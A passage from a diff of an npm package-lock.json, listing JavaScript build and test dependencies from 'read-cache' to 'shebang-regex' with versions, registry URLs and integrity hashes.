"^7.0.1", + "eslint-webpack-plugin": "^3.1.1", + "file-loader": "^6.2.0", + "fs-extra": "^10.0.0", + "fsevents": "^2.3.2", + "html-webpack-plugin": "^5.5.0", + "identity-obj-proxy": "^3.0.0", + "jest": "^27.4.3", + "jest-resolve": "^27.4.2", + "jest-watch-typeahead": "^1.0.0", + "mini-css-extract-plugin": "^2.4.5", + "postcss": "^8.4.4", + "postcss-flexbugs-fixes": "^5.0.2", + "postcss-loader": "^6.2.1", + "postcss-normalize": "^10.0.1", + "postcss-preset-env": "^7.0.1", + "prompts": "^2.4.2", + "react-app-polyfill": "^3.0.0", + "react-dev-utils": "^12.0.1", + "react-refresh": "^0.11.0", + "resolve": "^1.20.0", + "resolve-url-loader": "^4.0.0", + "sass-loader": "^12.3.0", + "semver": "^7.3.5", + "source-map-loader": "^3.0.0", + "style-loader": "^3.3.1", + "tailwindcss": "^3.0.2", + "terser-webpack-plugin": "^5.2.5", + "webpack": "^5.64.4", + "webpack-dev-server": "^4.6.0", + "webpack-manifest-plugin": "^4.0.2", + "workbox-webpack-plugin": "^6.4.1" + } + }, + "read-cache": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/read-cache/-/read-cache-1.0.0.tgz", + "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==", + "requires": { + "pify": "^2.3.0" + } + }, + "readable-stream": { + "version": "3.6.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "requires": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + } + }, + "readdirp": { + "version": "3.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "requires": { + "picomatch": "^2.2.1" + } + }, + "recursive-readdir": { + "version": "2.2.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/recursive-readdir/-/recursive-readdir-2.2.3.tgz", + "integrity": "sha512-8HrF5ZsXk5FAH9dgsx3BlUer73nIhuj+9OrQwEbLTPOBzGkL1lsFCR01am+v+0m2Cmbs1nP12hLDl5FA7EszKA==", + "requires": { + "minimatch": "^3.0.5" + } + }, + "redent": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/redent/-/redent-3.0.0.tgz", + "integrity": "sha512-6tDA8g98We0zd0GvVeMT9arEOnTw9qM03L9cJXaCjrip1OO764RDBLBfrB4cwzNGDj5OA5ioymC9GkizgWJDUg==", + "requires": { + "indent-string": "^4.0.0", + "strip-indent": "^3.0.0" + } + }, + "regenerate": { + "version": "1.4.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/regenerate/-/regenerate-1.4.2.tgz", + "integrity": "sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A==" + }, + "regenerate-unicode-properties": { + "version": "10.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/regenerate-unicode-properties/-/regenerate-unicode-properties-10.1.0.tgz", + "integrity": "sha512-d1VudCLoIGitcU/hEg2QqvyGZQmdC0Lf8BqdOMXGFSvJP4bNV1+XqbPQeHHLD51Jh4QJJ225dlIFvY4Ly6MXmQ==", + "requires": { + "regenerate": "^1.4.2" + } + }, + "regenerator-runtime": { + "version": "0.13.11", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/regenerator-runtime/-/regenerator-runtime-0.13.11.tgz", + "integrity": "sha512-kY1AZVr2Ra+t+piVaJ4gxaFaReZVH40AKNo7UCX6W+dEwBo/2oZJzqfuN1qLq1oL45o56cPaTXELwrTh8Fpggg==" + }, + "regenerator-transform": { + "version": "0.15.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/regenerator-transform/-/regenerator-transform-0.15.1.tgz", + "integrity": "sha512-knzmNAcuyxV+gQCufkYcvOqX/qIIfHLv0u5x79kRxuGojfYVky1f15TzZEu2Avte8QGepvUNTnLskf8E6X6Vyg==", + "requires": { + "@babel/runtime": "^7.8.4" + } + }, + "regex-parser": { + "version": "2.2.11", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/regex-parser/-/regex-parser-2.2.11.tgz", + "integrity": "sha512-jbD/FT0+9MBU2XAZluI7w2OBs1RBi6p9M83nkoZayQXXU9e8Robt69FcZc7wU4eJD/YFTjn1JdCk3rbMJajz8Q==" + }, + "regexp.prototype.flags": { + "version": "1.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/regexp.prototype.flags/-/regexp.prototype.flags-1.5.0.tgz", + "integrity": "sha512-0SutC3pNudRKgquxGoRGIz946MZVHqbNfPjBdxeOhBrdgDKlRoXmYLQN9xRbrR09ZXWeGAdPuif7egofn6v5LA==", + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "functions-have-names": "^1.2.3" + } + }, + "regexpu-core": { + "version": "5.3.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/regexpu-core/-/regexpu-core-5.3.2.tgz", + "integrity": "sha512-RAM5FlZz+Lhmo7db9L298p2vHP5ZywrVXmVXpmAD9GuL5MPH6t9ROw1iA/wfHkQ76Qe7AaPF0nGuim96/IrQMQ==", + "requires": { + "@babel/regjsgen": "^0.8.0", + "regenerate": "^1.4.2", + "regenerate-unicode-properties": "^10.1.0", + "regjsparser": "^0.9.1", + "unicode-match-property-ecmascript": "^2.0.0", + "unicode-match-property-value-ecmascript": "^2.1.0" + } + }, + "regjsparser": { + "version": "0.9.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/regjsparser/-/regjsparser-0.9.1.tgz", + "integrity": "sha512-dQUtn90WanSNl+7mQKcXAgZxvUe7Z0SqXlgzv0za4LwiUhyzBC58yQO3liFoUgu8GiJVInAhJjkj1N0EtQ5nkQ==", + "requires": { + "jsesc": "~0.5.0" + }, + "dependencies": { + "jsesc": { + "version": "0.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jsesc/-/jsesc-0.5.0.tgz", + "integrity": "sha512-uZz5UnB7u4T9LvwmFqXii7pZSouaRPorGs5who1Ip7VO0wxanFvBL7GkM6dTHlgX+jhBApRetaWpnDabOeTcnA==" + } + } + }, + "relateurl": { + "version": "0.2.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/relateurl/-/relateurl-0.2.7.tgz", + "integrity": "sha512-G08Dxvm4iDN3MLM0EsP62EDV9IuhXPR6blNz6Utcp7zyV3tr4HVNINt6MpaRWbxoOHT3Q7YN2P+jaHX8vUbgog==" + }, + "renderkid": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/renderkid/-/renderkid-3.0.0.tgz", + "integrity": "sha512-q/7VIQA8lmM1hF+jn+sFSPWGlMkSAeNYcPLmDQx2zzuiDfaLrOmumR8iaUKlenFgh0XRPIUeSPlH3A+AW3Z5pg==", + "requires": { + "css-select": "^4.1.3", + "dom-converter": "^0.2.0", + "htmlparser2": "^6.1.0", + "lodash": "^4.17.21", + "strip-ansi": "^6.0.1" + } + }, + "require-directory": { + "version": "2.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/require-directory/-/require-directory-2.1.1.tgz", + "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==" + }, + "require-from-string": { + "version": "2.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/require-from-string/-/require-from-string-2.0.2.tgz", + "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==" + }, + "requires-port": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/requires-port/-/requires-port-1.0.0.tgz", + "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==" + }, + "resolve": { + "version": "1.22.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/resolve/-/resolve-1.22.2.tgz", + "integrity": "sha512-Sb+mjNHOULsBv818T40qSPeRiuWLyaGMa5ewydRLFimneixmVy2zdivRl+AF6jaYPC8ERxGDmFSiqui6SfPd+g==", + "requires": { + "is-core-module": "^2.11.0", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + } + }, + "resolve-cwd": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/resolve-cwd/-/resolve-cwd-3.0.0.tgz", + "integrity": "sha512-OrZaX2Mb+rJCpH/6CpSqt9xFVpN++x01XnN2ie9g6P5/3xelLAkXWVADpdz1IHD/KFfEXyE6V0U01OQ3UO2rEg==", + "requires": { + "resolve-from": "^5.0.0" + } + }, + "resolve-from": { + "version": "5.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/resolve-from/-/resolve-from-5.0.0.tgz", + "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==" + }, + "resolve-url-loader": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/resolve-url-loader/-/resolve-url-loader-4.0.0.tgz", + "integrity": "sha512-05VEMczVREcbtT7Bz+C+96eUO5HDNvdthIiMB34t7FcF8ehcu4wC0sSgPUubs3XW2Q3CNLJk/BJrCU9wVRymiA==", + "requires": { + "adjust-sourcemap-loader": "^4.0.0", + "convert-source-map": "^1.7.0", + "loader-utils": "^2.0.0", + "postcss": "^7.0.35", + "source-map": "0.6.1" + }, + "dependencies": { + "picocolors": { + "version": "0.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/picocolors/-/picocolors-0.2.1.tgz", + "integrity": "sha512-cMlDqaLEqfSaW8Z7N5Jw+lyIW869EzT73/F5lhtY9cLGoVxSXznfgfXMO0Z5K0o0Q2TkTXq+0KFsdnSe3jDViA==" + }, + "postcss": { + "version": "7.0.39", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss/-/postcss-7.0.39.tgz", + "integrity": "sha512-yioayjNbHn6z1/Bywyb2Y4s3yvDAeXGOyxqD+LnVOinq6Mdmd++SW2wUNVzavyyHxd6+DxzWGIuosg6P1Rj8uA==", + "requires": { + "picocolors": "^0.2.1", + "source-map": "^0.6.1" + } + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==" + } + } + }, + "resolve.exports": { + "version": "1.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/resolve.exports/-/resolve.exports-1.1.1.tgz", + "integrity": "sha512-/NtpHNDN7jWhAaQ9BvBUYZ6YTXsRBgfqWFWP7BZBaoMJO/I3G5OFzvTuWNlZC3aPjins1F+TNrLKsGbH4rfsRQ==" + }, + "retry": { + "version": "0.13.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/retry/-/retry-0.13.1.tgz", + "integrity": "sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg==" + }, + "reusify": { + "version": "1.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/reusify/-/reusify-1.0.4.tgz", + "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==" + }, + "rimraf": { + "version": "3.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "requires": { + "glob": "^7.1.3" + } + }, + "rollup": { + "version": "2.79.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/rollup/-/rollup-2.79.1.tgz", + "integrity": "sha512-uKxbd0IhMZOhjAiD5oAFp7BqvkA4Dv47qpOCtaNvng4HBwdbWtdOh8f5nZNuk2rp51PMGk3bzfWu5oayNEuYnw==", + "requires": { + "fsevents": "~2.3.2" + } + }, + "rollup-plugin-terser": { + "version": "7.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/rollup-plugin-terser/-/rollup-plugin-terser-7.0.2.tgz", + "integrity": "sha512-w3iIaU4OxcF52UUXiZNsNeuXIMDvFrr+ZXK6bFZ0Q60qyVfq4uLptoS4bbq3paG3x216eQllFZX7zt6TIImguQ==", + "requires": { + "@babel/code-frame": "^7.10.4", + "jest-worker": "^26.2.1", + "serialize-javascript": "^4.0.0", + "terser": "^5.0.0" + }, + "dependencies": { + "has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + }, + "jest-worker": { + "version": "26.6.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-worker/-/jest-worker-26.6.2.tgz", + "integrity": "sha512-KWYVV1c4i+jbMpaBC+U++4Va0cp8OisU185o73T1vo99hqi7w8tSJfUXYswwqqrjzwxa6KpRK54WhPvwf5w6PQ==", + "requires": { + "@types/node": "*", + "merge-stream": "^2.0.0", + "supports-color": "^7.0.0" + } + }, + "serialize-javascript": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/serialize-javascript/-/serialize-javascript-4.0.0.tgz", + "integrity": "sha512-GaNA54380uFefWghODBWEGisLZFj00nS5ACs6yHa9nLqlLpVLO8ChDGeKRjZnV4Nh4n0Qi7nhYZD/9fCPzEqkw==", + "requires": { + "randombytes": "^2.1.0" + } + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "run-parallel": { + "version": "1.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "requires": { + "queue-microtask": "^1.2.2" + } + }, + "safe-array-concat": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/safe-array-concat/-/safe-array-concat-1.0.0.tgz", + "integrity": "sha512-9dVEFruWIsnie89yym+xWTAYASdpw3CJV7Li/6zBewGf9z2i1j31rP6jnY0pHEO4QZh6N0K11bFjWmdR8UGdPQ==", + "requires": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.2.0", + "has-symbols": "^1.0.3", + "isarray": "^2.0.5" + } + }, + "safe-buffer": { + "version": "5.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==" + }, + "safe-regex-test": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/safe-regex-test/-/safe-regex-test-1.0.0.tgz", + "integrity": "sha512-JBUUzyOgEwXQY1NuPtvcj/qcBDbDmEvWufhlnXZIm75DEHp+afM1r1ujJpJsV/gSM4t59tpDyPi1sd6ZaPFfsA==", + "requires": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.1.3", + "is-regex": "^1.1.4" + } + }, + "safer-buffer": { + "version": "2.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" + }, + "sanitize.css": { + "version": "13.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/sanitize.css/-/sanitize.css-13.0.0.tgz", + "integrity": "sha512-ZRwKbh/eQ6w9vmTjkuG0Ioi3HBwPFce0O+v//ve+aOq1oeCy7jMV2qzzAlpsNuqpqCBjjriM1lbtZbF/Q8jVyA==" + }, + "sass-loader": { + "version": "12.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/sass-loader/-/sass-loader-12.6.0.tgz", + "integrity": "sha512-oLTaH0YCtX4cfnJZxKSLAyglED0naiYfNG1iXfU5w1LNZ+ukoA5DtyDIN5zmKVZwYNJP4KRc5Y3hkWga+7tYfA==", + "requires": { + "klona": "^2.0.4", + "neo-async": "^2.6.2" + } + }, + "sax": { + "version": "1.2.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/sax/-/sax-1.2.4.tgz", + "integrity": "sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw==" + }, + "saxes": { + "version": "5.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/saxes/-/saxes-5.0.1.tgz", + "integrity": "sha512-5LBh1Tls8c9xgGjw3QrMwETmTMVk0oFgvrFSvWx62llR2hcEInrKNZ2GZCCuuy2lvWrdl5jhbpeqc5hRYKFOcw==", + "requires": { + "xmlchars": "^2.2.0" + } + }, + "scheduler": { + "version": "0.23.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/scheduler/-/scheduler-0.23.0.tgz", + "integrity": "sha512-CtuThmgHNg7zIZWAXi3AsyIzA3n4xx7aNyjwC2VJldO2LMVDhFK+63xGqq6CsJH4rTAt6/M+N4GhZiDYPx9eUw==", + "requires": { + "loose-envify": "^1.1.0" + } + }, + "schema-utils": { + "version": "3.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/schema-utils/-/schema-utils-3.3.0.tgz", + "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==", + "requires": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + } + }, + "select-hose": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/select-hose/-/select-hose-2.0.0.tgz", + "integrity": "sha512-mEugaLK+YfkijB4fx0e6kImuJdCIt2LxCRcbEYPqRGCs4F2ogyfZU5IAZRdjCP8JPq2AtdNoC/Dux63d9Kiryg==" + }, + "selfsigned": { + "version": "2.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/selfsigned/-/selfsigned-2.1.1.tgz", + "integrity": "sha512-GSL3aowiF7wa/WtSFwnUrludWFoNhftq8bUkH9pkzjpN2XSPOAYEgg6e0sS9s0rZwgJzJiQRPU18A6clnoW5wQ==", + "requires": { + "node-forge": "^1" + } + }, + "semver": { + "version": "7.6.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.6.0.tgz", + "integrity": "sha512-EnwXhrlwXMk9gKu5/flx5sv/an57AkRplG3hTK68W7FRDN+k+OWBj65M7719OkA82XLBxrcX0KSHj+X5COhOVg==", + "requires": { + "lru-cache": "^6.0.0" + }, + "dependencies": { + "lru-cache": { + "version": "6.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "requires": { + "yallist": "^4.0.0" + } + }, + "yallist": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==" + } + } + }, + "send": { + "version": "0.19.0", + "resolved": "https://registry.npmjs.org/send/-/send-0.19.0.tgz", + "integrity": "sha512-dW41u5VfLXu8SJh5bwRmyYUbAoSB3c9uQh6L8h/KtsFREPWpbX1lrljJo186Jc4nmci/sGUZ9a0a0J2zgfq2hw==", + "requires": { + "debug": "2.6.9", + "depd": "2.0.0", + "destroy": "1.2.0", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "fresh": "0.5.2", + "http-errors": "2.0.0", + "mime": "1.6.0", + "ms": "2.1.3", + "on-finished": "2.4.1", + "range-parser": "~1.2.1", + "statuses": "2.0.1" + }, + "dependencies": { + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "requires": { + "ms": "2.0.0" + }, + "dependencies": { + "ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + } + } + }, + "encodeurl": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", + "integrity": "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w==" + }, + "ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==" + } + } + }, + "serialize-javascript": { + "version": "6.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/serialize-javascript/-/serialize-javascript-6.0.1.tgz", + "integrity": "sha512-owoXEFjWRllis8/M1Q+Cw5k8ZH40e3zhp/ovX+Xr/vi1qj6QesbyXXViFbpNvWvPNAD62SutwEXavefrLJWj7w==", + "requires": { + "randombytes": "^2.1.0" + } + }, + "serve-index": { + "version": "1.9.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/serve-index/-/serve-index-1.9.1.tgz", + "integrity": "sha512-pXHfKNP4qujrtteMrSBb0rc8HJ9Ms/GrXwcUtUtD5s4ewDJI8bT3Cz2zTVRMKtri49pLx2e0Ya8ziP5Ya2pZZw==", + "requires": { + "accepts": "~1.3.4", + "batch": "0.6.1", + "debug": "2.6.9", + "escape-html": "~1.0.3", + "http-errors": "~1.6.2", + "mime-types": "~2.1.17", + "parseurl": "~1.3.2" + }, + "dependencies": { + "debug": { + "version": "2.6.9", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "requires": { + "ms": "2.0.0" + } + }, + "depd": { + "version": "1.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/depd/-/depd-1.1.2.tgz", + "integrity": "sha512-7emPTl6Dpo6JRXOXjLRxck+FlLRX5847cLKEn00PLAgc3g2hTZZgr+e4c2v6QpSmLeFP3n5yUo7ft6avBK/5jQ==" + }, + "http-errors": { + "version": "1.6.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/http-errors/-/http-errors-1.6.3.tgz", + "integrity": "sha512-lks+lVC8dgGyh97jxvxeYTWQFvh4uw4yC12gVl63Cg30sjPX4wuGcdkICVXDAESr6OJGjqGA8Iz5mkeN6zlD7A==", + "requires": { + "depd": "~1.1.2", + "inherits": "2.0.3", + "setprototypeof": "1.1.0", + "statuses": ">= 1.4.0 < 2" + } + }, + "inherits": { + "version": "2.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/inherits/-/inherits-2.0.3.tgz", + "integrity": "sha512-x00IRNXNy63jwGkJmzPigoySHbaqpNuzKbBOmzK+g2OdZpQ9w+sxCN+VSB3ja7IAge2OP2qpfxTjeNcyjmW1uw==" + }, + "ms": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + }, + "setprototypeof": { + "version": "1.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/setprototypeof/-/setprototypeof-1.1.0.tgz", + "integrity": "sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ==" + }, + "statuses": { + "version": "1.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/statuses/-/statuses-1.5.0.tgz", + "integrity": "sha512-OpZ3zP+jT1PI7I8nemJX4AKmAX070ZkYPVWV/AaKTJl+tXCTGyVdC1a4SL8RUQYEwk/f34ZX8UTykN68FwrqAA==" + } + } + }, + "serve-static": { + "version": "1.16.2", + "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.16.2.tgz", + "integrity": "sha512-VqpjJZKadQB/PEbEwvFdO43Ax5dFBZ2UECszz8bQ7pi7wt//PWe1P6MN7eCnjsatYtBT6EuiClbjSWP2WrIoTw==", + "requires": { + "encodeurl": "~2.0.0", + "escape-html": "~1.0.3", + "parseurl": "~1.3.3", + "send": "0.19.0" + } + }, + "set-function-length": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.2.tgz", + "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==", + "requires": { + "define-data-property": "^1.1.4", + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.4", + "gopd": "^1.0.1", + "has-property-descriptors": "^1.0.2" + } + }, + "setprototypeof": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", + "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==" + }, + "shebang-command": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "requires": { + "shebang-regex": "^3.0.0" + } + }, + "shebang-regex": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": 